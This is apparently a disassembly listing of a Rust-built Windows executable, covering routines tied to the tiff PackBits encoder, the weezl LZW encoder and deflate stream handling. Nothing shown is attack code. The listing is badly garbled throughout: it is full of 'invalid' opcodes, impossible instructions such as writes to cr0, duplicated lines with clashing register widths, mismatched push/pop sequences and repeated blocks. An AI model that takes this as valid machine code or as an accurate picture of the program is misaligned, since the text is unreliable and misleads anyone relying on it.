cmp cl, 2
sete r8b
cmp rax, 2
jne 0x14003f62d
and dl, r8b
je 0x14003f5d2
mov rdx, r13
cmp eax, 2
jne 0x14003f63d
sub rdx, r13
mov r13, rdx
jmp 0x14003f654
mov cl, 0x14
lea rdx, str.corrupt_deflate_stream
push 0x16
pop r8
call fcn.140037b14
mov r13, rax
mov cl, 3
xor eax, eax
cmp cl, 3
sete al
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], r13
jne 0x14003f683
mov rcx, r13
call fcn.14000fca9
test al, al
je 0x14003fd4d
mov rcx, r14
call fcn.14001ca7a
jmp 0x14003f5c9
test r13, r13
je 0x14003fd44
mov rcx, r13
mov rdx, rdi
mov r8, rsi
mov r9, r12
call fcn.14001ca54
mov rdi, rax
mov rsi, rdx
jmp 0x14003f5c9
mov bh, 0xd3
std
dec dword [rax - 0x77]
invalid
lea rbx, [rbp + 0x18]
lea ebx, [rbp + 0x18]
mov edx, 0x2000
mov rcx, rbx
xor r8d, r8d
call fcn.1401c24b1
sub eax, 0x83480018
cmp eax, dword [rax]
mov rcx, qword [rbx + 8]
jne 0x14003fe92
invalid
add byte [rax - 0x75], cl
sub byte [r8 - 0x77], r9b
lea esi, [rax + 0x48000000]
mov dword [rbp + 0xb8], eax
add byte [rax], al
invalid
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
rol byte [rax], 0
add byte [rax], al
and qword [rbp + 0xc0], 0
mov byte [rbp + 0xc8], 0
add byte [rax], al
mov qword [rbp + 0xd0], r14
test rsi, rsi
je 0x14003fd2d
add byte [rax], al
add byte [rax], al
push 1
pop r9
mov al, byte [rdi]
mov byte [rbp + 0x138], al
mov al, 1
xor r14d, r14d
xor ecx, ecx
mov qword [rbp + 0x130], rcx
xor ecx, ecx
mov qword [rbp + 0x118], rcx
mov rbx, rsi
xor ecx, ecx
mov qword [rbp + 0x108], rcx
lea rcx, [rdi + r14]
mov qword [rbp + 0xa8], rcx
mov qword [rbp + 0x120], r14
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
lea esi, [rax]
add dword [rax], eax
add byte [rbp + 0xf44ff51], cl
mov dh, 0xd1
mov rcx, qword [rbp + 0x130]
lea edx, [rcx - 1]
movzx r10d, cl
lea rcx, [r14 + r10]
mov qword [rbp - 8], rcx
lea rcx, [r10 + 1]
mov qword [rbp + 8], rcx
or byte [rcx - 0x4d], al
add dword [rcx + rcx*4 + 0x55], ecx
add byte [rbp + 0x28], al
ror dword [rcx + rcx*4 + 0x5d], cl
invalid
or byte [rcx - 0x4d], al
add dword [rcx + rcx*4 + 0x55], ecx
add byte [rbp + 0x28], al
ror dword [rcx + rcx*4 + 0x5d], cl
adc byte [rdi], cl
movzx ecx, al
mov dh, 0xc8
lea r10d, [r11 + rax]
movzx r10d, r10b
mov qword [rbp + 0x68], r10
mov r11, rbx
dec r11
mov qword [rbp + 0x100], r9
lea r8, [rdi + r9]
mov rbx, r11
xor r12d, r12d
mov r15b, byte [rbp + 0x138]
lea r13, [rcx + r12]
cmp r11, r12
je 0x14003fc95
mov r10, qword [rbp + 0x100]
lea r14, [r10 + r12]
cmp r14, rsi
jae 0x14003fe53
mov r9b, byte [r8 + r12]
add r10, r12
inc r10
mov qword [rbp + 0x60], r10
cmp byte [rbp + 0x118], 0
mov byte [rbp + 0x138], r9b
je 0x14003f7e8
cmp r9b, r15b
jne 0x14003f90d
cmp r13b, 0xff
jge 0x14003f815
jmp 0x14003f90d
cmp r13b, 0xff
jl 0x14003f964
cmp byte [rbp + 0x138], r15b
jne 0x14003f8bf
cmp byte [rbp + 0x130], 0
je 0x14003f827
mov r9, qword [rbp + 0x68]
add r9d, r12d
cmp r9b, 2
ja 0x14003f827
inc r12
dec rbx
mov r15b, byte [rbp + 0x138]
jmp 0x14003f795
cmp byte [rbp + 0x130], 0
je 0x14003f8e5
add byte [rdi], cl
test byte [rcx + 0x48000000], dh
lea ecx, [rbp + 0xb0]
mov r14d, edx
call case.0x14002e5c3.207
mov rcx, qword [rbp + 0x120]
lea esp, [rax]
add dword [rax], eax
add byte [rbx + rcx*4 + 0x4d], cl
clc
lea esp, [rax]
add dword [rax], eax
add byte [rbx + rcx*4 + 0x4d], cl
clc
test rax, rax
jne 0x14003fda4
cmp rcx, r9
ja case.0x14000e34e.347
cmp r9, rsi
ja 0x14003fed8
lea rcx, [rbp + 0xb0]
mov rdx, qword [rbp + 0xa8]
mov r8, qword [rbp]
call fcn.14004017b
test rax, rax
jne 0x14003fd3f
mov rcx, qword [rbp + 0x68]
add rcx, r12
mov r9, qword [rbp + 0x100]
add r9, r12
inc r9
mov rax, qword [rbp + 8]
add qword [rbp + 0x108], rax
mov al, 1
mov qword [rbp + 0x118], rax
mov eax, ecx
mov edx, r14d
mov r11, qword [rbp + 0x10]
jmp 0x14003f768
add ecx, r12d
lea eax, [rcx + 1]
mov r9, qword [rbp + 0x100]
add r9, r12
inc r9
mov qword [rbp + 0x130], rcx
mov r14, qword [rbp + 0x120]
jmp 0x14003f73c
mov dl, 1
sub dl, r13b
lea rcx, [rbp + 0xb0]
call case.0x14002e5c3.207
test rax, rax
jne 0x14003fda4
lea rcx, [rbp + 0xb0]
mov edx, r15d
call case.0x14002e5c3.207
test rax, rax
jne 0x14003fda4
add qword [rbp + 0x108], 2
xor eax, eax
mov qword [rbp + 0x130], rax
mov al, 1
xor ecx, ecx
mov qword [rbp + 0x118], rcx
mov r9, qword [rbp + 0x60]
invalid
invalid
jmp 0x14003f72a
invalid
lea rcx, [rbp + 0xb0]
mov dl, 0x7f
call case.0x14002e5c3.207
mov rcx, qword [rbp + 0x120]
test rax, rax
jne 0x14003fda4
mov r14, rcx
sub r14, 0xffffffffffffff80
jae 0x14003fec7
cmp r14, rsi
ja 0x14003feb3
mov qword [rbp + 0x130], r13
mov r9, qword [rbp + 0x60]
jmp 0x14003f72a
call fcn.1401c1e58
lea rcx, [rbp + 0x48]
mov qword [rcx], rax
lea rax, [0x140289360]
mov qword [rcx + 8], rax
mov qword [rbp + 0x88], rcx
mov qword [rbp + 0x90], r14
movabs rax, 0x8000000000000001
mov qword [rbp + 0x70], rax
and qword [rbp - 0x10], 0
mov qword [rbp + 0x98], 0x1000000
and qword [rbp + 0x58], 0
lea rcx, [rbp + 0xb0]
mov edx, 0x1000000
call fcn.1401c5a79
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x78]
call fcn.14003f330
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x80], rax
movups xmm0, xmmword [rbp + 0xb0]
movaps xmmword [rbp + 0x70], xmm0
test rax, rax
je 0x14003fe9b
lea rcx, [rbp + 0x88]
lea rdx, [rbp + 0x90]
lea r8, [rbp + 0x110]
and qword [r8], 0
mov r9, qword [rdx - 0x18]
lea rbx, [rbp + 0xb8]
mov qword [rbx - 8], r8
mov qword [rbx], rdi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], r9
mov qword [rbx + 0x20], rax
lea rax, [rbp - 0x10]
mov qword [rbx + 0x28], rax
lea rax, [rbp + 0x58]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rdx
mov byte [rbx + 0x40], 1
lea rsi, [rbp - 0x50]
push 1
pop rdi
mov r13, qword [rbp + 0xb8]
mov r9, qword [rbp + 0xc0]
test r9, r9
je 0x14003fafd
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
movups xmm0, xmmword [rbp + 0xd0]
mov rdx, qword [rax]
mov rax, qword [rax + 8]
mov rax, qword [rax + 0x18]
movups xmmword [rsp + 0x20], xmm0
mov rcx, rsi
mov r8, r13
call rax
jmp 0x14003fb43
cmp byte [rbp + 0xf8], 0
je 0x14003fc20
mov r15, qword [rbp + 0xc8]
mov rax, qword [r15]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
call qword [rax + 0x20]
mov rax, qword [r15]
movups xmm0, xmmword [rbp + 0xd0]
mov rdx, qword [rax]
mov rax, qword [rax + 8]
mov rax, qword [rax + 0x18]
movups xmmword [rsp + 0x20], xmm0
mov rcx, rsi
mov r8, r13
xor r9d, r9d
call rax
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp + 0xe0]
add qword [rax], rdx
mov r13, qword [rbp - 0x48]
mov rax, qword [rbp + 0xe8]
add qword [rax], r13
mov rcx, rbx
call fcn.14003f344
movzx eax, byte [rbp - 0x40]
cmp eax, 1
je 0x14003fc27
cmp eax, 2
je 0x14003fbf2
cmp eax, 3
jne 0x14003fc3b
lea rax, [0x140289c40]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdi
and qword [rbp + 0x38], 0
lea rax, [rbp + 0x12f]
mov qword [rbp - 0x38], rax
lea rax, [0x14003f372]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rdi
lea rcx, [rbp - 0x28]
lea rdx, [rbp + 0x18]
call fcn.140015f59
mov rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x18]
mov cl, 0x15
mov qword [rbp + 0x138], rdx
call fcn.140037b14
mov r12, rax
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp + 0x138]
call fcn.14006095a
mov cl, 1
jmp 0x14003fc6e
mov rdx, qword [rbp + 0xd8]
cmp r13, rdx
ja 0x14003fe7e
mov rdx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rax]
mov r8, r13
call fcn.14003f455
test rax, rax
jne 0x14003fc69
mov r14b, 1
xor ecx, ecx
jmp 0x14003fc6e
mov cl, 0x25
lea rdx, str.No_more_data_but_no_end_marker_detected
push 0x27
pop r8
call fcn.140037b14
jmp 0x14003fc69
mov rdx, qword [rbp + 0xd8]
cmp r13, rdx
ja 0x14003fe6a
mov rdx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rax]
mov r8, r13
call fcn.14003f455
test rax, rax
je 0x14003fc8e
mov cl, 1
mov r12, rax
test cl, cl
setne al
jne 0x14003fc7b
cmp r14b, 1
je 0x14003fcf8
test al, al
je 0x14003fabf
test r12, r12
je 0x14003fabf
jmp 0x14003fcdc
xor eax, eax
xor r14d, r14d
jmp 0x14003fc7b
cmp byte [rbp + 0x118], 0
je 0x14003fd88
mov dl, 1
sub dl, r13b
lea rcx, [rbp + 0xb0]
call case.0x14002e5c3.207
test rax, rax
jne 0x14003fda4
lea rcx, [rbp + 0xb0]
mov edx, r15d
call case.0x14002e5c3.207
test rax, rax
jne 0x14003fda4
push 2
pop rdi
jmp 0x14003fe0a
mov qword [rbp + 0x138], r12
lea rcx, [rbp + 0x110]
call fcn.14001c99f
mov r13, qword [rbp + 0x138]
jmp 0x14003fcff
mov r13, qword [rbp + 0x110]
test r13, r13
jne 0x14003fd08
mov r13, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x78]
setne bl
call fcn.14003f330
movzx esi, bl
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x50]
call fcn.140038af3
jmp 0x14003fdb6
lea rdx, [0x1402613ac]
push 0xa
pop r8
mov cl, 0x17
call fcn.140037b14
mov r13, rax
jmp 0x14003fda7
lea r13, str.failed_to_write_whole_buffer
jmp 0x14003fd66
test r13, r13
jne 0x14003fd66
lea rcx, [rbp + 0xb0]
call fcn.14004033c
mov r13, rax
test rax, rax
je 0x14003fd74
lea rcx, [rbp + 0xb0]
call fcn.1400402b8
jmp 0x14003fdb3
lea rcx, [rbp + 0xb0]
mov r13, qword [rcx + 0x28]
call fcn.1400402b8
xor esi, esi
jmp 0x14003fdb6
lea edx, [r13 - 1]
lea rcx, [rbp + 0xb0]
call case.0x14002e5c3.207
mov rcx, qword [rbp + 0x120]
test rax, rax
je 0x14003fdd0
mov r13, rdx
lea rcx, [rbp + 0xb0]
call fcn.1400400cf
push 1
pop rsi
mov rax, rsi
mov rdx, r13
add rsp, 0x1c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx edi, r13b
mov rdx, rcx
add rdx, rdi
jb 0x14003fefd
cmp rdx, rsi
ja 0x14003ff0b
lea rcx, [rbp + 0xb0]
mov rdx, qword [rbp + 0xa8]
mov r8, rdi
call fcn.14004017b
mov r13, rax
test rax, rax
jne 0x14003fda7
inc rdi
lea rcx, [rbp + 0xb0]
call fcn.1400401c9
mov r13, rax
test rax, rax
jne 0x14003fda7
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tiff_0.9.1_srcencodercompressionpackbits.rs
mov rcx, r14
mov rdx, rsi
call fcn.1401c6eb0
jmp 0x14003ff1d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fweezl_0.1.8_srcencode.rs
mov rcx, r13
call fcn.1401c6f20
jmp 0x14003ff1d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fweezl_0.1.8_srcencode.rs
mov rcx, r13
call fcn.1401c6f20
jmp 0x14003ff1d
mov rdx, qword [rbp + 0x28]
call fcn.1401c66e0
invalid
sbb byte [rax], al
lea rcx, [0x1401fa2bb]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fweezl_0.1.8_srcencode.rs
push 0x24
pop rdx
call fcn.1401c6f30
add bl, ch
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tiff_0.9.1_srcencodercompressionpackbits.rs
mov rdx, r14
call fcn.1401c7190
jmp 0x14003ff1d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tiff_0.9.1_srcencodercompressionpackbits.rs
mov rcx, r9
mov rdx, rsi
call fcn.1401c6f20
jmp 0x14003ff1d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tiff_0.9.1_srcencodercompressionpackbits.rs
mov rdx, r9
call fcn.1401c7190
jmp 0x14003ff1d
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tiff_0.9.1_srcencodercompressionpackbits.rs
call fcn.1401c7190
jmp 0x14003ff1d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tiff_0.9.1_srcencodercompressionpackbits.rs
mov rcx, rdx
mov rdx, rsi
call fcn.1401c6f20
invalid
ud2
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp + 0x138]
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
call fcn.14006095a
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x110
invalid
je 0x140040001
add byte [rax], al
add byte [rsp + rcx + 0x48], dh
or al, 0x48
lea rcx, [rbp + 0x110]
lea ecx, [rbp + 0x110]
call fcn.14001ca7a
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
call fcn.140038af3
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0xb0]
call fcn.1400402b8
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp - 0x10]
invalid
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
add rsp, 0x40
pop rbp
jmp fcn.14006095a
or byte [rdx], al
invalid
or byte [rdx], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.14006095a
add byte [rax + 0x20c48348], dl
add byte [rax + 0x20c48348], dl
pop rbp
ret
and al, 0x27
mov r8, qword [rcx]
mov rax, qword [rcx + 0x10]
sub r8, rax
sub eax, eax
sub eax, eax
cmp r8, 1
jbe 0x14004016f
mov r8, qword [rcx + 8]
mov byte [r8 + rax], dl
inc rax
mov qword [rcx + 0x10], rax
mov edx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
xor eax, eax
add rsp, 0x28
ret
invalid
lea rdx, [rsp + 0x27]
call fcn.1401c7dfb
jmp 0x14004016a
push rdi
push rbx
sub rsp, 0x20
mov rsi, r8
mov rdi, rcx
mov rax, qword [rcx]
mov rbx, qword [rcx + 0x10]
mov ebx, dword [rcx + 0x10]
mov ebx, dword [rcx + 0x10]
sub rax, rbx
cmp rax, r8
jbe 0x1400401b7
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
sbb byte [rax], al
sbb byte [rax], al
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rcx, rdi
mov r8, rsi
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
invalid
jmp 0x1401c7d83
lea ebp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov r14, rcx
lea rsi, [rbp - 0x20]
xor edx, edx
lea rbx, str.failed_to_write_the_buffered_data
invalid
mov cr0, rax
mov qword [rbp - 0x18], rcx
invalid
invalid
cmp rdx, qword [r14 + 0x10]
jae 0x140040263
mov byte [r14 + 0x18], 1
mov rcx, r14
mov qword [rbp - 0x10], rdx
call fcn.140197460
mov r8, rdx
mov rcx, qword [rbp - 0x18]
mov rcx, qword [rcx + 0x20]
mov rdx, rax
call fcn.14003f4b8
mov rdi, rdx
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
mov r14, qword [rbp - 0x18]
mov byte [r14 + 0x18], 0
test rax, rax
je 0x140040255
mov rcx, rdi
call fcn.14000fca9
test al, al
je 0x14004026a
mov rcx, rsi
call fcn.14001ca7a
mov rdx, qword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
invalid
jmp 0x1400401f4
call 0xc54ca242
push qword [rbp + rcx + 0x48]
mov edx, dword [rbp - 0x10]
test rdi, rdi
je 0x140040267
mov rdx, qword [rbp - 0x10]
add rdx, rdi
jmp 0x1400401f4
xchg ecx, eax
xchg ecx, eax
xor edi, edi
jmp 0x14004026e
mov rdi, rbx
mov rdx, qword [rbp - 0x10]
mov rcx, r14
call fcn.14018cb10
invalid
enter 0x14, 0x48
mov eax, edi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
and byte [rax - 0x73], cl
push 0x50
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
call fcn.14018cb10
adc al, 0
adc al, 0
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
or ecx, ebp
invalid
xor byte [rax - 0x39], cl
add r14b, r15b
invalid
mov ecx, dword [rsi + 0x18]
call fcn.14006128a
add al, byte [rax]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.14006095a
adc byte [rbp + 0x56], dl
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rsi, qword [rbp - 8]
mov rcx, qword [rsi + 0x18]
sbb al, ch
invalid
lar eax, word [rax]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.14006095a
nop
add rsp, 0x28
pop rsi
pop rbp
sbb al, ch
invalid
ret
mov r8, qword [rsi + 0x10]
test r8, r8
je 0x1400403f3
mov rcx, qword [rsi + 0x30]
test rcx, rcx
je 0x140040406
mov rdx, qword [rsi + 8]
call fcn.14003f4b8
invalid
dec dword [rcx - 0x77]
ror byte [rax - 0x7b], 1
invalid
jne 0x1400403fb
test r8, r8
je 0x1400403f8
mov rcx, rdi
stc
mov rdx, rsi
call fcn.140009047
mov rcx, rdi
call fcn.1401b8428
invalid
add bl, ch
ret
invalid
xor r8d, r8d
jmp 0x1400403fb
mov r8, rbx
mov rax, r8
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rcx, str._n__
call fcn.1401c7290
int3
invalid
dec dword [rcx + rcx*4 - 0x31]
mov r14, r8
mov rsi, qword [rbp + 0x1b0]
mov eax, ecx
lea rcx, [0x14028ba18]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
mov rcx, qword [r14]
mov rdx, rdi
mov r8, rsi
invalid
call fcn.140040fa9
mov r13, rax
invalid
xor esi, esi
jmp 0x140040ca8
lea rcx, [rbp + 0x70]
call fcn.1400355bb
lea rcx, [rbp + 0x18]
mov edx, 0x8000
call fcn.1401481de
lea rbx, [rbp + 0xc8]
mov qword [rbx + 0x18], r14
movups xmm0, xmmword [rbp + 0x70]
movups xmmword [rbx], xmm0
mov rax, qword [rbp + 0x80]
mov qword [rbx + 0x10], rax
lea r14, [rbp + 0x20]
movups xmm0, xmmword [r14 - 8]
movaps xmmword [rbx - 0x18], xmm0
mov rax, qword [r14 + 8]
mov qword [rbx - 8], rax
lea r15, [rbp + 0xb0]
lea r12, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
invalid
test rsi, rsi
je 0x140040c43
mov rcx, r15
call fcn.140041240
mov r13, rax
test rax, rax
jne 0x140040550
mov r13, qword [rbp + 0xd0]
mov byte [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
mov r9, r15
call fcn.1400359b6
mov rcx, rax
shr rcx, 0x20
mov rdx, qword [rbp + 0xd0]
mov eax, eax
cmp rdx, r13
jne 0x14004052e
cmp rax, 2
sete dl
cmp cl, 2
sete r8b
cmp rax, 2
jne 0x14004052b
and dl, r8b
je 0x1400404d0
mov rdx, r13
cmp eax, 2
jne 0x14004053b
sub rdx, r13
mov r13, rdx
jmp 0x140040552
mov cl, 0x14
lea rdx, str.corrupt_deflate_stream
push 0x16
pop r8
call fcn.140037b14
mov r13, rax
mov cl, 3
xor eax, eax
cmp cl, 3
sete al
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], r13
jne 0x140040581
mov rcx, r13
call fcn.14000fca9
test al, al
je 0x140040c3e
mov rcx, r14
call fcn.14001ca7a
jmp case.0x14003c2d3.262
test r13, r13
je 0x140040c35
stosd dword [rdi], eax
invalid
add byte [rax], al
stosd dword [rdi], eax
invalid
mov rcx, r13
mov rdx, rdi
mov r8, rsi
mov r9, r12
call fcn.14001ca54
mov rdi, rax
mov ecx, 0x48fffdc4
mov edi, eax
mov rsi, rdx
jmp case.0x14003c2d3.262
lea rbx, [rbp + 0x18]
mov edx, 0x2000
mov rcx, rbx
xor r8d, r8d
call fcn.1401c24b1
invalid
sbb byte [rax], al
cmp qword [rbx], 0
mov rcx, qword [rbx + 8]
jne 0x140040d6c
invalid
invalid
add byte [rax - 0x75], cl
sub byte [r8 - 0x77], r9b
lea esi, [rax + 0x48000000]
mov dword [rbp + 0xb8], eax
add byte [rax], al
invalid
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
rol byte [rax], 0
add byte [rax], al
and qword [rbp + 0xc0], 0
mov byte [rbp + 0xc8], 0
add byte [rax], al
mov qword [rbp + 0xd0], r14
test rsi, rsi
je 0x140040c1e
add byte [rax], al
add byte [rax], al
push 1
pop r9
mov al, byte [rdi]
mov byte [rbp + 0x138], al
mov al, 1
xor r14d, r14d
xor ecx, ecx
mov qword [rbp + 0x130], rcx
xor ecx, ecx
mov qword [rbp + 0x118], rcx
mov rbx, rsi
xor ecx, ecx
mov qword [rbp + 0x108], rcx
invalid
add byte [rdx - 0x73], cl
or al, 0x37
lea rcx, [rdi + r14]
mov qword [rbp + 0xa8], rcx
mov qword [rbp + 0x120], r14
mov rcx, qword [rbp + 0x130]
lea edx, [rcx - 1]
movzx r10d, cl
ror dword [rbx - 0x73], 1
or al, 0x16
ror dword [rbx - 0x73], 1
or al, 0x16
mov qword [rbp - 8], rcx
lea rcx, [r10 + 1]
mov qword [rbp + 8], rcx
or byte [rcx - 0x4d], al
add dword [rcx + rcx*4 + 0x55], ecx
add byte [rbp + 0x28], al
ror dword [rcx + rcx*4 + 0x5d], cl
invalid
or byte [rcx - 0x4d], al
add dword [rcx + rcx*4 + 0x55], ecx
add byte [rbp + 0x28], al
ror dword [rcx + rcx*4 + 0x5d], cl
adc byte [rdi], cl
mov dh, 0xc8
movzx ecx, al
lea r10d, [r11 + rax]
movzx r10d, r10b
mov qword [rbp + 0x68], r10
mov r11, rbx
dec r11
mov qword [rbp + 0x100], r9
lea r8, [rdi + r9]
mov rbx, r11
xor r12d, r12d
mov r15b, byte [rbp + 0x138]
lea r13, [rcx + r12]
cmp r11, r12
je 0x140040ba2
mov r10, qword [rbp + 0x100]
lea r14, [r10 + r12]
cmp r14, rsi
jae 0x140040d2d
mov r9b, byte [r8 + r12]
add r10, r12
inc r10
mov qword [rbp + 0x60], r10
cmp byte [rbp + 0x118], 0
mov byte [rbp + 0x138], r9b
je 0x1400406e6
cmp r9b, r15b
jne 0x14004080b
cmp r13b, 0xff
jl 0x140040862
mov ebp, 0x138
jmp 0x140040693
lea ecx, [rbp + 0xb0]
mov r14d, edx
call fcn.14004102f
mov rcx, qword [rbp + 0x120]
mov r9, qword [rbp - 8]
test rax, rax
jne 0x140040c96
cmp rcx, r9
ja 0x140040dc6
cmp r9, rsi
ja 0x140040db2
lea rcx, [rbp + 0xb0]
mov rdx, qword [rbp + 0xa8]
mov r8, qword [rbp]
call fcn.14004106e
or byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x85
invalid
add al, 0
invalid
or byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x85
test eax, 0x48000004
mov ecx, dword [rbp + 0x68]
mov rcx, qword [rbp + 0x68]
add rcx, r12
mov r9, qword [rbp + 0x100]
add r9, r12
inc r9
mov rax, qword [rbp + 8]
add qword [rbp + 0x108], rax
mov al, 1
mov qword [rbp + 0x118], rax
mov eax, ecx
mov edx, r14d
mov r11, qword [rbp + 0x10]
jmp 0x140040666
add dword [rax], eax
add byte [rax + 0x48c93101], dh
mov dword [rbp + 0x118], ecx
mov r9, qword [rbp + 0x60]
jmp 0x140040628
or byte [rcx], al
add byte [rax], al
add dword [rax], 0x8d410000
add dword [r9 - 0x80], 0x894c7fe5
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x130], r13
mov r9, qword [rbp + 0x60]
jmp 0x140040628
call fcn.1401c1e58
lea rcx, [rbp + 0x48]
mov qword [rcx], rax
lea rax, [0x140289360]
mov qword [rcx + 8], rax
mov qword [rbp + 0x88], rcx
mov qword [rbp + 0x90], r14
movabs rax, 0x8000000000000001
mov qword [rbp + 0x70], rax
and qword [rbp - 0x10], 0
mov qword [rbp + 0x98], 0x1000000
and qword [rbp + 0x58], 0
lea rcx, [rbp + 0xb0]
mov edx, 0x1000000
call fcn.1401c5a79
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x78]
call fcn.14003f330
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x80], rax
movups xmm0, xmmword [rbp + 0xb0]
movaps xmmword [rbp + 0x70], xmm0
test rax, rax
je 0x140040d75
lea rcx, [rbp + 0x88]
lea rdx, [rbp + 0x90]
lea r8, [rbp + 0x110]
and qword [r8], 0
mov r9, qword [rdx - 0x18]
lea rbx, [rbp + 0xb8]
mov qword [rbx - 8], r8
mov qword [rbx], rdi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], r9
mov qword [rbx + 0x20], rax
lea rax, [rbp - 0x10]
mov qword [rbx + 0x28], rax
lea rax, [rbp + 0x58]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rdx
mov byte [rbx + 0x40], 1
lea rsi, [rbp - 0x50]
push 1
pop r14
mov r13, qword [rbp + 0xb8]
mov r9, qword [rbp + 0xc0]
test r9, r9
je 0x1400409fc
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
movups xmm0, xmmword [rbp + 0xd0]
mov rdx, qword [rax]
mov rax, qword [rax + 8]
mov rax, qword [rax + 0x18]
movups xmmword [rsp + 0x20], xmm0
mov rcx, rsi
mov r8, r13
call rax
jmp 0x140040a42
cmp byte [rbp + 0xf8], 0
je 0x140040b18
mov r15, qword [rbp + 0xc8]
mov rax, qword [r15]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
call qword [rax + 0x20]
mov rax, qword [r15]
movups xmm0, xmmword [rbp + 0xd0]
mov rdx, qword [rax]
mov rax, qword [rax + 8]
mov rax, qword [rax + 0x18]
movups xmmword [rsp + 0x20], xmm0
mov rcx, rsi
mov r8, r13
xor r9d, r9d
call rax
mov rdx, qword [rbp - 0x50]
